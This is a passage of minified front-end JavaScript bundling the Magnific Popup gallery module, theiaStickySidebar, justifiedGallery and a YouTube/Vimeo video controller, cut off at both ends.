i=n.arrowMarkup,o=t.arrowLeft=e(i.replace(/%title%/gi,n.tPrev).replace(/%dir%/gi,"left")).addClass(y),a=t.arrowRight=e(i.replace(/%title%/gi,n.tNext).replace(/%dir%/gi,"right")).addClass(y),s=r?"mfpFastClick":"click";o[s](function(){t.prev()}),a[s](function(){t.next()}),t.isIE7&&(k("b",o[0],!1,!0),k("a",o[0],!1,!0),k("b",a[0],!1,!0),k("a",a[0],!1,!0)),t.container.append(o.add(a))}}),x(m+i,function(){t._preloadTimeout&&clearTimeout(t._preloadTimeout),t._preloadTimeout=setTimeout(function(){t.preloadNearbyImages(),t._preloadTimeout=null},16)}),x(l+i,function(){o.off(i),t.wrap.off("click"+i),t.arrowLeft&&r&&t.arrowLeft.add(t.arrowRight).destroyMfpFastClick(),t.arrowRight=t.arrowLeft=null}),void 0):!1},next:function(){t.direction=!0,t.index=K(t.index+1),t.updateItemHTML()},prev:function(){t.direction=!1,t.index=K(t.index-1),t.updateItemHTML()},goTo:function(e){t.direction=e>=t.index,t.index=e,t.updateItemHTML()},preloadNearbyImages:function(){var e,n=t.st.gallery.preload,i=Math.min(n[0],t.items.length),o=Math.min(n[1],t.items.length);for(e=1;e<=(t.direction?o:i);e++)t._preloadItem(t.index+e);for(e=1;e<=(t.direction?i:o);e++)t._preloadItem(t.index-e)},_preloadItem:function(n){if(n=K(n),!t.items[n].preloaded){var i=t.items[n];i.parsed||(i=t.parseEl(n)),T("LazyLoad",i),"image"===i.type&&(i.img=e('<img class="mfp-img" />').on("load.mfploader",function(){i.hasSize=!0}).on("error.mfploader",function(){i.hasSize=!0,i.loadError=!0,T("LazyLoadError",i)}).attr("src",i.src)),i.preloaded=!0}}}});var U="retina";e.magnificPopup.registerModule(U,{options:{replaceSrc:function(e){return e.src.replace(/\.\w+$/,function(e){return"@2x"+e})},ratio:1},proto:{initRetina:function(){if(window.devicePixelRatio>1){var e=t.st.retina,n=e.ratio;n=isNaN(n)?n():n,n>1&&(x("ImageHasSize."+U,function(e,t){t.img.css({"max-width":t.img[0].naturalWidth/n,width:"100%"})}),x("ElementParse."+U,function(t,i){i.src=e.replaceSrc(i,n)}))}}}}),function(){var t=1e3,n="ontouchstart"in window,i=function(){I.off("touchmove"+r+" touchend"+r)},o="mfpFastClick",r="."+o;e.fn.mfpFastClick=function(o){return e(this).each(function(){var a,s=e(this);if(n){var l,c,d,u,p,f;s.on("touchstart"+r,function(e){u=!1,f=1,p=e.originalEvent?e.originalEvent.touches[0]:e.touches[0],c=p.clientX,d=p.clientY,I.on("touchmove"+r,function(e){p=e.originalEvent?e.originalEvent.touches:e.touches,f=p.length,p=p[0],(Math.abs(p.clientX-c)>10||Math.abs(p.clientY-d)>10)&&(u=!0,i())}).on("touchend"+r,function(e){i(),u||f>1||(a=!0,e.preventDefault(),clearTimeout(l),l=setTimeout(function(){a=!1},t),o())})})}s.on("click"+r,function(){a||o()})})},e.fn.destroyMfpFastClick=function(){e(this).off("touchstart"+r+" click"+r),n&&I.off("touchmove"+r+" touchend"+r)}}(),_()}(window.jQuery||window.Zepto);

/* theiaStickySidebar */
!function(g){g.fn.theiaStickySidebar=function(b){(b=g.extend({containerSelector:"",additionalMarginTop:0,additionalMarginBottom:0,updateSidebarHeight:!0,minWidth:0},b)).additionalMarginTop=parseInt(b.additionalMarginTop)||0,b.additionalMarginBottom=parseInt(b.additionalMarginBottom)||0,g("head").append(g('<style>.theiaStickySidebar:after {content: ""; display: table; clear: both;}</style>')),this.each(function(){var i={},t="no";i.sidebar=g(this),i.options=b||{},i.container=g(i.options.containerSelector),0==i.container.length&&(i.container=i.sidebar.parent()),i.sidebar.parents().css("-webkit-transform","none"),i.sidebar.css({position:"relative",overflow:"visible","-webkit-box-sizing":"border-box","-moz-box-sizing":"border-box","box-sizing":"border-box"}),i.stickySidebar=i.sidebar.children(".theiaStickySidebar"),0==i.stickySidebar.length&&(i.sidebar.hasClass("penci-sticky-sb")||i.sidebar.hasClass("penci-sticky-ct")?(t="yes",i.sidebar.find("script").remove(),i.stickySidebar=i.sidebar.children().addClass("theiaStickySidebar")):(i.sidebar.find("script").remove(),i.stickySidebar=g("<div>").addClass("theiaStickySidebar").append(i.sidebar.children())),i.sidebar.append(i.stickySidebar)),i.marginTop=parseInt(i.sidebar.css("margin-top")),i.marginBottom=parseInt(i.sidebar.css("margin-bottom")),i.paddingTop=parseInt(i.sidebar.css("padding-top")),i.paddingBottom=parseInt(i.sidebar.css("padding-bottom"));var o,a,e=i.stickySidebar.offset().top,d=i.stickySidebar.outerHeight();function p(){i.fixedScrollTop=0,i.sidebar.css({"min-height":"1px"}),i.stickySidebar.css({position:"static",width:""})}"yes"!==t&&(i.stickySidebar.css("padding-top",1),i.stickySidebar.css("padding-bottom",1)),e-=i.stickySidebar.offset().top,d=i.stickySidebar.outerHeight()-d-e,0==e?("yes"!==t&&i.stickySidebar.css("padding-top",0),i.stickySidebarPaddingTop=0):i.stickySidebarPaddingTop=1,0==d?("yes"!==t&&i.stickySidebar.css("padding-bottom",0),i.stickySidebarPaddingBottom=0):i.stickySidebarPaddingBottom=1,i.previousScrollTop=null,i.fixedScrollTop=0,p(),i.onScroll=function(i){var t,o,a,e,d,s,r,n,c;i.stickySidebar.is(":visible")&&(g("body").width()<i.options.minWidth||i.sidebar.outerWidth(!0)+50>i.container.width()?p():(r="static",(t=g(document).scrollTop())>=i.container.offset().top+(i.paddingTop+i.marginTop-i.options.additionalMarginTop)&&(a=i.paddingTop+i.marginTop+b.additionalMarginTop,s=i.paddingBottom+i.marginBottom+b.additionalMarginBottom,e=i.container.offset().top,d=i.container.offset().top+(c=i.container,n=c.height(),c.children().each(function(){n=Math.max(n,g(this).height())}),n),o=0+b.additionalMarginTop,c=i.stickySidebar.outerHeight()+a+s<g(window).height()?o+i.stickySidebar.outerHeight():g(window).height()-i.marginBottom-i.paddingBottom-b.additionalMarginBottom,a=e-t+i.paddingTop+i.marginTop,s=d-t-i.paddingBottom-i.marginBottom,e=i.stickySidebar.offset().top-t,d=i.previousScrollTop-t,"fixed"==i.stickySidebar.css("position")&&(e+=d),e=0<d?Math.min(e,o):Math.max(e,c-i.stickySidebar.outerHeight()),e=Math.max(e,a),e=Math.min(e,s-i.stickySidebar.outerHeight()),r=((s=i.container.height()==i.stickySidebar.outerHeight())||e!=o)&&(s||e!=c-i.stickySidebar.outerHeight())?t+e-i.sidebar.offset().top-i.paddingTop<=b.additionalMarginTop?"static":"absolute":"fixed"),"fixed"==r?i.stickySidebar.css({position:"fixed",width:i.sidebar.width(),top:e,left:i.sidebar.offset().left+parseInt(i.sidebar.css("padding-left"))+parseInt(i.sidebar.css("border-left"))}):"absolute"==r?(c={},"absolute"!=i.stickySidebar.css("position")&&(c.position="absolute",c.top=t+e-i.sidebar.offset().top-i.stickySidebarPaddingTop-i.stickySidebarPaddingBottom),c.width=i.sidebar.width(),c.left="",i.stickySidebar.css(c)):"static"==r&&p(),"static"!=r&&1==i.options.updateSidebarHeight&&i.sidebar.css({"min-height":i.stickySidebar.outerHeight()+i.stickySidebar.offset().top-i.sidebar.offset().top+i.paddingBottom}),i.previousScrollTop=t))},i.onScroll(i),g(document).on("scroll",(o=i,function(){o.onScroll(o)})),g(window).on("resize",(a=i,function(){a.stickySidebar.css({position:"static"}),a.onScroll(a)}))})}}(jQuery);

/* justifiedGallery */
!function(l){function n(t,i){this.settings=i,this.checkSettings(),this.imgAnalyzerTimeout=null,this.entries=null,this.buildingRow={entriesBuff:[],width:0,height:0,aspectRatio:0},this.lastAnalyzedIndex=-1,this.yield={every:2,flushed:0},this.border=0<=i.border?i.border:i.margins,this.maxRowHeight=this.retrieveMaxRowHeight(),this.suffixRanges=this.retrieveSuffixRanges(),this.offY=this.border,this.spinner={phase:0,timeSlot:150,$el:l('<div class="spinner"><span></span><span></span><span></span></div>'),intervalId:null},this.checkWidthIntervalId=null,this.galleryWidth=t.width(),this.$gallery=t}n.prototype.getSuffix=function(t,i){for(var e=i<t?t:i,s=0;s<this.suffixRanges.length;s++)if(e<=this.suffixRanges[s])return this.settings.sizeRangeSuffixes[this.suffixRanges[s]];return this.settings.sizeRangeSuffixes[this.suffixRanges[s-1]]},n.prototype.removeSuffix=function(t,i){return t.substring(0,t.length-i.length)},n.prototype.endsWith=function(t,i){return-1!==t.indexOf(i,t.length-i.length)},n.prototype.getUsedSuffix=function(t){for(var i in this.settings.sizeRangeSuffixes)if(this.settings.sizeRangeSuffixes.hasOwnProperty(i)){if(0===this.settings.sizeRangeSuffixes[i].length)continue;if(this.endsWith(t,this.settings.sizeRangeSuffixes[i]))return this.settings.sizeRangeSuffixes[i]}return""},n.prototype.newSrc=function(t,i,e){var s,n;return this.settings.thumbnailPath?n=this.settings.thumbnailPath(t,i,e):(s=null!==(s=t.match(this.settings.extension))?s[0]:"",n=t.replace(this.settings.extension,""),n=this.removeSuffix(n,this.getUsedSuffix(n)),n+=this.getSuffix(i,e)+s),n},n.prototype.showImg=function(t,i){this.settings.cssAnimation?(t.addClass("entry-visible"),i&&i()):t.stop().fadeTo(this.settings.imagesAnimationDuration,1,i)},n.prototype.extractImgSrcFromImage=function(t){var i=void 0!==t.data("src")?t.data("src"):t.attr("src");return t.data("jg.originalSrc",i),i},n.prototype.imgFromEntry=function(t){var i=t.find("> img");return 0===i.length&&(i=t.find("> a > img")),0===i.length?null:i},n.prototype.captionFromEntry=function(t){t=t.find("> .caption");return 0===t.length?null:t},n.prototype.displayEntry=function(t,i,e,s,n,r){t.width(s),t.height(r),t.css("top",e),t.css("left",i);var o,a,h,g=this.imgFromEntry(t);null!==g?(g.css("width",s),g.css("height",n),g.css("margin-left",-s/2),g.css("margin-top",-n/2),o=g.attr("src"),a=this.newSrc(o,s,n),g.one("error",function(){g.attr("src",g.data("jg.originalSrc"))}),h=function(){o!==a&&g.attr("src",a)},"skipped"===t.data("jg.loaded")?this.onImageEvent(o,l.proxy(function(){this.showImg(t,h),t.data("jg.loaded",!0)},this)):this.showImg(t,h)):this.showImg(t),this.displayEntryCaption(t)},n.prototype.displayEntryCaption=function(t){var i,e=this.imgFromEntry(t);null!==e&&this.settings.captions?(null===(i=this.captionFromEntry(t))&&(e=e.attr("alt"),this.isValidCaption(e)||(e=t.attr("title")),this.isValidCaption(e)&&(i=l('<div class="caption">'+e+"</div>"),t.append(i),t.data("jg.createdCaption",!0))),null!==i&&(this.settings.cssAnimation||i.stop().fadeTo(0,this.settings.captionSettings.nonVisibleOpacity),this.addCaptionEventsHandlers(t))):this.removeCaptionEventsHandlers(t)},n.prototype.isValidCaption=function(t){return void 0!==t&&0<t.length},n.prototype.onEntryMouseEnterForCaption=function(t){t=this.captionFromEntry(l(t.currentTarget));this.settings.cssAnimation?t.addClass("caption-visible").removeClass("caption-hidden"):t.stop().fadeTo(this.settings.captionSettings.animationDuration,this.settings.captionSettings.visibleOpacity)},n.prototype.onEntryMouseLeaveForCaption=function(t){t=this.captionFromEntry(l(t.currentTarget));this.settings.cssAnimation?t.removeClass("caption-visible").removeClass("caption-hidden"):t.stop().fadeTo(this.settings.captionSettings.animationDuration,this.settings.captionSettings.nonVisibleOpacity)},n.prototype.addCaptionEventsHandlers=function(t){var i=t.data("jg.captionMouseEvents");void 0===i&&(i={mouseenter:l.proxy(this.onEntryMouseEnterForCaption,this),mouseleave:l.proxy(this.onEntryMouseLeaveForCaption,this)},t.on("mouseenter",void 0,void 0,i.mouseenter),t.on("mouseleave",void 0,void 0,i.mouseleave),t.data("jg.captionMouseEvents",i))},n.prototype.removeCaptionEventsHandlers=function(t){var i=t.data("jg.captionMouseEvents");void 0!==i&&(t.off("mouseenter",void 0,i.mouseenter),t.off("mouseleave",void 0,i.mouseleave),t.removeData("jg.captionMouseEvents"))},n.prototype.prepareBuildingRow=function(t){var i,e,s,n,r=!0,o=0,a=this.galleryWidth-2*this.border-(this.buildingRow.entriesBuff.length-1)*this.settings.margins,h=a/this.buildingRow.aspectRatio,g=this.buildingRow.width/a>this.settings.justifyThreshold;if(t&&"hide"===this.settings.lastRow&&!g){for(i=0;i<this.buildingRow.entriesBuff.length;i++)e=this.buildingRow.entriesBuff[i],this.settings.cssAnimation?e.removeClass("entry-visible"):e.stop().fadeTo(0,0);return-1}for(t&&!g&&"justify"!==this.settings.lastRow&&"hide"!==this.settings.lastRow&&(r=!1),i=0;i<this.buildingRow.entriesBuff.length;i++)n=(e=this.buildingRow.entriesBuff[i]).data("jg.width")/e.data("jg.height"),n=r?(s=i===this.buildingRow.entriesBuff.length-1?a:h*n,h):(s=this.settings.rowHeight*n,this.settings.rowHeight),a-=Math.round(s),e.data("jg.jwidth",Math.round(s)),e.data("jg.jheight",Math.ceil(n)),(0===i||n<o)&&(o=n);return this.settings.fixedHeight&&o>this.settings.rowHeight&&(o=this.settings.rowHeight),this.buildingRow.height=o,r},n.prototype.clearBuildingRow=function(){this.buildingRow.entriesBuff=[],this.buildingRow.aspectRatio=0,this.buildingRow.width=0},n.prototype.flushRow=function(t){var i,e=this.settings,s=this.border,n=this.prepareBuildingRow(t);if(t&&"hide"===e.lastRow&&-1===this.buildingRow.height)this.clearBuildingRow();else{if(this.maxRowHeight.isPercentage?this.maxRowHeight.value*e.rowHeight<this.buildingRow.height&&(this.buildingRow.height=this.maxRowHeight.value*e.rowHeight):0<this.maxRowHeight.value&&this.maxRowHeight.value<this.buildingRow.height&&(this.buildingRow.height=this.maxRowHeight.value),"center"===e.lastRow||"right"===e.lastRow){for(var r=this.galleryWidth-2*this.border-(this.buildingRow.entriesBuff.length-1)*e.margins,o=0;o<this.buildingRow.entriesBuff.length;o++)r-=(i=this.buildingRow.entriesBuff[o]).data("jg.jwidth");"center"===e.lastRow?s+=r/2:"right"===e.lastRow&&(s+=r)}for(o=0;o<this.buildingRow.entriesBuff.length;o++)i=this.buildingRow.entriesBuff[o],this.displayEntry(i,s,this.offY,i.data("jg.jwidth"),i.data("jg.jheight"),this.buildingRow.height),s+=i.data("jg.jwidth")+e.margins;this.$gallery.height(this.offY+this.buildingRow.height+this.border+(this.isSpinnerActive()?this.getSpinnerHeight():0)),(!t||this.buildingRow.height<=e.rowHeight&&n)&&(this.offY+=this.buildingRow.height+e.margins,this.clearBuildingRow(),this.$gallery.trigger("jg.rowflush"))}},n.prototype.checkWidth=function(){this.checkWidthIntervalId=setInterval(l.proxy(function(){var t=parseFloat(this.$gallery.width());Math.abs(t-this.galleryWidth)>this.settings.refreshSensitivity&&(this.galleryWidth=t,this.rewind(),this.startImgAnalyzer(!0))},this),this.settings.refreshTime)},n.prototype.isSpinnerActive=function(){return null!==this.spinner.intervalId},n.prototype.getSpinnerHeight=function(){return this.spinner.$el.innerHeight()},n.prototype.stopLoadingSpinnerAnimation=function(){clearInterval(this.spinner.intervalId),this.spinner.intervalId=null,this.$gallery.height(this.$gallery.height()-this.getSpinnerHeight()),this.spinner.$el.detach()},n.prototype.startLoadingSpinnerAnimation=function(){var t=this.spinner,i=t.$el.find("span");clearInterval(t.intervalId),this.$gallery.append(t.$el),this.$gallery.height(this.offY+this.buildingRow.height+this.getSpinnerHeight()),t.intervalId=setInterval(function(){t.phase<i.length?i.eq(t.phase).fadeTo(t.timeSlot,1):i.eq(t.phase-i.length).fadeTo(t.timeSlot,0),t.phase=(t.phase+1)%(2*i.length)},t.timeSlot)},n.prototype.rewind=function(){this.lastAnalyzedIndex=-1,this.offY=this.border,this.clearBuildingRow()},n.prototype.updateEntries=function(t){return this.entries=this.$gallery.find(this.settings.selector).toArray(),0!==this.entries.length&&(this.settings.filter?this.modifyEntries(this.filterArray,t):this.modifyEntries(this.resetFilters,t),"function"==typeof this.settings.sort?this.modifyEntries(this.sortArray,t):this.settings.randomize&&this.modifyEntries(this.shuffleArray,t),!0)},n.prototype.insertToGallery=function(t){var i=this;l.each(t,function(){l(this).appendTo(i.$gallery)})},n.prototype.shuffleArray=function(t){for(var i,e,s=t.length-1;0<s;s--)i=Math.floor(Math.random()*(s+1)),e=t[s],t[s]=t[i],t[i]=e;return this.insertToGallery(t),t},n.prototype.sortArray=function(t){return t.sort(this.settings.sort),this.insertToGallery(t),t},n.prototype.resetFilters=function(t){for(var i=0;i<t.length;i++)l(t[i]).removeClass("jg-filtered");return t},n.prototype.filterArray=function(t){var i=this.settings;return"string"==typeof i.filter?t.filter(function(t){t=l(t);return t.is(i.filter)?(t.removeClass("jg-filtered"),!0):(t.addClass("jg-filtered"),!1)}):"function"==typeof i.filter?t.filter(i.filter):void 0},n.prototype.modifyEntries=function(t,i){var e=i?this.entries.splice(this.lastAnalyzedIndex+1,this.entries.length-this.lastAnalyzedIndex-1):this.entries,e=t.call(this,e);this.entries=i?this.entries.concat(e):e},n.prototype.destroy=function(){clearInterval(this.checkWidthIntervalId),l.each(this.entries,l.proxy(function(t,i){var e=l(i);e.css("width",""),e.css("height",""),e.css("top",""),e.css("left",""),e.data("jg.loaded",void 0),e.removeClass("jg-entry");i=this.imgFromEntry(e);i.css("width",""),i.css("height",""),i.css("margin-left",""),i.css("margin-top",""),i.attr("src",i.data("jg.originalSrc")),i.data("jg.originalSrc",void 0),this.removeCaptionEventsHandlers(e);i=this.captionFromEntry(e);e.data("jg.createdCaption")?(e.data("jg.createdCaption",void 0),null!==i&&i.remove()):null!==i&&i.fadeTo(0,1)},this)),this.$gallery.css("height",""),this.$gallery.removeClass("justified-gallery"),this.$gallery.data("jg.controller",void 0)},n.prototype.analyzeImages=function(t){for(var i=this.lastAnalyzedIndex+1;i<this.entries.length;i++){var e=l(this.entries[i]);if(!0===e.data("jg.loaded")||"skipped"===e.data("jg.loaded")){var s=this.galleryWidth-2*this.border-(this.buildingRow.entriesBuff.length-1)*this.settings.margins,n=e.data("jg.width")/e.data("jg.height");if(s/(this.buildingRow.aspectRatio+n)<this.settings.rowHeight&&(this.flushRow(!1),++this.yield.flushed>=this.yield.every))return void this.startImgAnalyzer(t);this.buildingRow.entriesBuff.push(e),this.buildingRow.aspectRatio+=n,this.buildingRow.width+=n*this.settings.rowHeight,this.lastAnalyzedIndex=i}else if("error"!==e.data("jg.loaded"))return}0<this.buildingRow.entriesBuff.length&&this.flushRow(!0),this.isSpinnerActive()&&this.stopLoadingSpinnerAnimation(),this.stopImgAnalyzerStarter(),this.$gallery.trigger(t?"jg.resize":"jg.complete")},n.prototype.stopImgAnalyzerStarter=function(){this.yield.flushed=0,null!==this.imgAnalyzerTimeout&&clearTimeout(this.imgAnalyzerTimeout)},n.prototype.startImgAnalyzer=function(t){var i=this;this.stopImgAnalyzerStarter(),this.imgAnalyzerTimeout=setTimeout(function(){i.analyzeImages(t)},.001)},n.prototype.onImageEvent=function(t,i,e){var s,n;(i||e)&&(s=new Image,n=l(s),i&&n.one("load",function(){n.off("load error"),i(s)}),e&&n.one("error",function(){n.off("load error"),e(s)}),s.src=t)},n.prototype.init=function(){var r=!1,o=!1,a=this;l.each(this.entries,function(t,i){var e=l(i),s=a.imgFromEntry(e);if(e.addClass("jg-entry"),!0!==e.data("jg.loaded")&&"skipped"!==e.data("jg.loaded"))if(null!==a.settings.rel&&e.attr("rel",a.settings.rel),null!==a.settings.target&&e.attr("target",a.settings.target),null!==s){var n=a.extractImgSrcFromImage(s);if(s.attr("src",n),!1===a.settings.waitThumbnailsLoad){i=parseFloat(s.attr("width")),s=parseFloat(s.attr("height"));if(!isNaN(i)&&!isNaN(s))return e.data("jg.width",i),e.data("jg.height",s),e.data("jg.loaded","skipped"),o=!0,a.startImgAnalyzer(!1),!0}e.data("jg.loaded",!1),r=!0,a.isSpinnerActive()||a.startLoadingSpinnerAnimation(),a.onImageEvent(n,function(t){e.data("jg.width",t.width),e.data("jg.height",t.height),e.data("jg.loaded",!0),a.startImgAnalyzer(!1)},function(){e.data("jg.loaded","error"),a.startImgAnalyzer(!1)})}else e.data("jg.loaded",!0),e.data("jg.width",e.width()|parseFloat(e.css("width"))|1),e.data("jg.height",e.height()|parseFloat(e.css("height"))|1)}),r||o||this.startImgAnalyzer(!1),this.checkWidth()},n.prototype.checkOrConvertNumber=function(t,i){if("string"==typeof t[i]&&(t[i]=parseFloat(t[i])),"number"!=typeof t[i])throw i+" must be a number";if(isNaN(t[i]))throw"invalid number for "+i},n.prototype.checkSizeRangesSuffixes=function(){if("object"!=typeof this.settings.sizeRangeSuffixes)throw"sizeRangeSuffixes must be defined and must be an object";var t,i=[];for(t in this.settings.sizeRangeSuffixes)this.settings.sizeRangeSuffixes.hasOwnProperty(t)&&i.push(t);for(var e={0:""},s=0;s<i.length;s++)if("string"==typeof i[s])try{e[parseInt(i[s].replace(/^[a-z]+/,""),10)]=this.settings.sizeRangeSuffixes[i[s]]}catch(t){throw"sizeRangeSuffixes keys must contains correct numbers ("+t+")"}else e[i[s]]=this.settings.sizeRangeSuffixes[i[s]];this.settings.sizeRangeSuffixes=e},n.prototype.retrieveMaxRowHeight=function(){var t={};if("string"==typeof this.settings.maxRowHeight)this.settings.maxRowHeight.match(/^[0-9]+%$/)?(t.value=parseFloat(this.settings.maxRowHeight.match(/^([0-9]+)%$/)[1])/100,t.isPercentage=!1):(t.value=parseFloat(this.settings.maxRowHeight),t.isPercentage=!0);else{if("number"!=typeof this.settings.maxRowHeight)throw"maxRowHeight must be a number or a percentage";t.value=this.settings.maxRowHeight,t.isPercentage=!1}if(isNaN(t.value))throw"invalid number for maxRowHeight";return t.isPercentage?t.value<100&&(t.value=100):0<t.value&&t.value<this.settings.rowHeight&&(t.value=this.settings.rowHeight),t},n.prototype.checkSettings=function(){if(this.checkSizeRangesSuffixes(),this.checkOrConvertNumber(this.settings,"rowHeight"),this.checkOrConvertNumber(this.settings,"margins"),this.checkOrConvertNumber(this.settings,"border"),"justify"!==this.settings.lastRow&&"nojustify"!==this.settings.lastRow&&"left"!==this.settings.lastRow&&"center"!==this.settings.lastRow&&"right"!==this.settings.lastRow&&"hide"!==this.settings.lastRow)throw'lastRow must be "justify", "nojustify", "left", "center", "right" or "hide"';if(this.checkOrConvertNumber(this.settings,"justifyThreshold"),this.settings.justifyThreshold<0||1<this.settings.justifyThreshold)throw"justifyThreshold must be in the interval [0,1]";if("boolean"!=typeof this.settings.cssAnimation)throw"cssAnimation must be a boolean";if("boolean"!=typeof this.settings.captions)throw"captions must be a boolean";if(this.checkOrConvertNumber(this.settings.captionSettings,"animationDuration"),this.checkOrConvertNumber(this.settings.captionSettings,"visibleOpacity"),this.settings.captionSettings.visibleOpacity<0||1<this.settings.captionSettings.visibleOpacity)throw"captionSettings.visibleOpacity must be in the interval [0, 1]";if(this.checkOrConvertNumber(this.settings.captionSettings,"nonVisibleOpacity"),this.settings.captionSettings.nonVisibleOpacity<0||1<this.settings.captionSettings.nonVisibleOpacity)throw"captionSettings.nonVisibleOpacity must be in the interval [0, 1]";if("boolean"!=typeof this.settings.fixedHeight)throw"fixedHeight must be a boolean";if(this.checkOrConvertNumber(this.settings,"imagesAnimationDuration"),this.checkOrConvertNumber(this.settings,"refreshTime"),this.checkOrConvertNumber(this.settings,"refreshSensitivity"),"boolean"!=typeof this.settings.randomize)throw"randomize must be a boolean";if("string"!=typeof this.settings.selector)throw"selector must be a string";if(!1!==this.settings.sort&&"function"!=typeof this.settings.sort)throw"sort must be false or a comparison function";if(!1!==this.settings.filter&&"function"!=typeof this.settings.filter&&"string"!=typeof this.settings.filter)throw"filter must be false, a string or a filter function"},n.prototype.retrieveSuffixRanges=function(){var t,i=[];for(t in this.settings.sizeRangeSuffixes)this.settings.sizeRangeSuffixes.hasOwnProperty(t)&&i.push(parseInt(t,10));return i.sort(function(t,i){return i<t?1:t<i?-1:0}),i},n.prototype.updateSettings=function(t){this.settings=l.extend({},this.settings,t),this.checkSettings(),this.border=0<=this.settings.border?this.settings.border:this.settings.margins,this.maxRowHeight=this.retrieveMaxRowHeight(),this.suffixRanges=this.retrieveSuffixRanges()},l.fn.justifiedGallery=function(s){return this.each(function(t,i){var e=l(i);e.addClass("justified-gallery");i=e.data("jg.controller");if(void 0===i){if(null!=s&&"object"!=typeof s){if("destroy"===s)return;throw"The argument must be an object"}i=new n(e,l.extend({},l.fn.justifiedGallery.defaults,s)),e.data("jg.controller",i)}else if("norewind"!==s){if("destroy"===s)return void i.destroy();i.updateSettings(s),i.rewind()}i.updateEntries("norewind"===s)&&i.init()})},l.fn.justifiedGallery.defaults={sizeRangeSuffixes:{},thumbnailPath:void 0,rowHeight:120,maxRowHeight:-1,margins:1,border:-1,lastRow:"nojustify",justifyThreshold:.75,fixedHeight:!1,waitThumbnailsLoad:!0,captions:!0,cssAnimation:!1,imagesAnimationDuration:500,captionSettings:{animationDuration:500,visibleOpacity:.7,nonVisibleOpacity:0},rel:null,target:null,extension:/\.[^.\\/]+$/,refreshTime:200,refreshSensitivity:0,randomize:!1,sort:!1,filter:!1,selector:"> a, > div:not(.spinner)"}}(jQuery);

/*! FAKTOR VIER Video Controller v0.1.3 | (c) 2015 FAKTOR VIER GmbH | http://faktorvier.ch */
function PenciISJson(e){e="string"!=typeof e?JSON.stringify(e):e;try{e=JSON.parse(e)}catch(e){return!1}return"object"==typeof e&&null!==e}function onYouTubeIframeAPIReady(){if(void 0!==jQuery.video)for(callback_index in jQuery.video.global.youtube_api_ready_callbacks)jQuery.video.global.youtube_api_ready_callbacks[callback_index]()}var video_postmessage_event_func="attachEvent",video_postmessage_event="onmessage";window.addEventListener&&(video_postmessage_event_func="addEventListener",video_postmessage_event="message"),window[video_postmessage_event_func](video_postmessage_event,function(e){if(PenciISJson(e.data)&&/^https?:\/\/player.vimeo.com/.test(e.origin)&&"object"!=typeof e.data){var t=JSON.parse(e.data);if(void 0!==t.player_id&&-1===t.player_id.indexOf("VideoWorker")){var i=void 0===t.event?null:t.event,a=(void 0===t.method||t.method,jQuery("#"+t.player_id)),o=a.getVideoConfig();switch(null==o&&(a.initVideo(),o=a.getVideoConfig()),i){case"ready":jQuery.video.vimeo_postmessage(a,"addEventListener","play"),jQuery.video.vimeo_postmessage(a,"addEventListener","pause"),jQuery.video.vimeo_postmessage(a,"addEventListener","finish"),a.data("video-player",a),a.attr(o.attr_ready,""),a.trigger("ready"+jQuery.video.global.event_suffix);break;case"play":a.removeAttr(o.attr_paused),a.attr(o.attr_playing,""),a.trigger("play"+jQuery.video.global.event_suffix);break;case"pause":a.removeAttr(o.attr_playing),a.attr(o.attr_paused,""),a.trigger("pause"+jQuery.video.global.event_suffix);break;case"finish":a.removeAttr(o.attr_playing),a.removeAttr(o.attr_paused),a.trigger("finish"+$.video.global.event_suffix)}}}},!1),function(e){e.video={global:{event_suffix:"_video",youtube_api_ready_callbacks:[],youtube_iframe_api:"https://www.youtube.com/iframe_api"},config:{attr_ready:"data-video-ready",attr_playing:"data-video-playing",attr_paused:"data-video-paused"}};var t=function(t,i){var a=t.data("video").config;if(void 0===t.data("video-player")){var o=function(){var o=new YT.Player(t[0],{events:{onReady:function(e){t.attr(a.attr_ready,""),i(e.target)},onStateChange:function(i){switch(i.data){case 0:t.removeAttr(a.attr_paused),t.removeAttr(a.attr_playing),t.trigger("finish"+e.video.global.event_suffix);break;case 1:t.removeAttr(a.attr_paused),t.attr(a.attr_playing,""),t.trigger("play"+e.video.global.event_suffix);break;case 2:t.removeAttr(a.attr_playing),t.attr(a.attr_paused,""),t.trigger("pause"+e.video.global.event_suffix)}}}});t.data("video-player",o)};"undefined"==typeof YT||void 0===YT.Player?(e.video.global.youtube_api_ready_callbacks.push(function(){o()}),0==e('script[src="https://www.youtube.com/iframe_api"]').length&&0==e('script[src="http://www.youtube.com/iframe_api"]').length&&e("<script><\/script>").attr("src",e.video.global.youtube_iframe_api).insertBefore(e("script").first())):o()}else i(t.data("video-player"))},i=function(e,t){void 0!==e.data("video-player")&&t(e.data("video-player"))};e.video.vimeo_postmessage=function(e,t,i){var a={method:t};i&&(a.value=i),void 0!==e[0]&&e[0].contentWindow.postMessage(JSON.stringify(a),"*")},e.fn.getVideoConfig=function(){var t=e(this).first();return void 0!==t.data("video")?t.data("video").config:null},e.fn.getVideoPlayer=function(){var t=e(this).first();return void 0!==t.data("video-player")?t.data("video-player"):null},e.fn.getVideoType=function(){var t=e(this).first();return"video"==t.prop("tagName").toLowerCase()?video_type="video":-1!==t.attr("src").indexOf("youtube.com/embed")?video_type="youtube":-1!==t.attr("src").indexOf("player.vimeo.com/video")?video_type="vimeo":video_type="undefined",video_type},e.fn.initVideo=function(a){return this.each(function(){var o=e(this),r=o.getVideoType(),n=o.getVideoConfig();if(null!=n)return console.warn("Player already initialized!"),!1;if(n=e.extend(e.extend({},e.video.config),a),o.data("video",{config:n}),"youtube"==r)-1==o.attr("src").indexOf("enablejsapi=true")&&-1==o.attr("src").indexOf("enablejsapi=1")&&(-1==o.attr("src").indexOf("?")?o.attr("src",o.attr("src")+"?enablejsapi=1"):o.attr("src",o.attr("src")+"&enablejsapi=1"));else if("vimeo"==r&&(-1==o.attr("src").indexOf("api=true")&&-1==o.attr("src").indexOf("api=1")&&(-1==o.attr("src").indexOf("?")?o.attr("src",o.attr("src")+"?api=1"):o.attr("src",o.attr("src")+"&api=1")),-1==o.attr("src").indexOf("player_id="))){var d=o.attr("id");void 0===d&&(d="video-"+Math.round((new 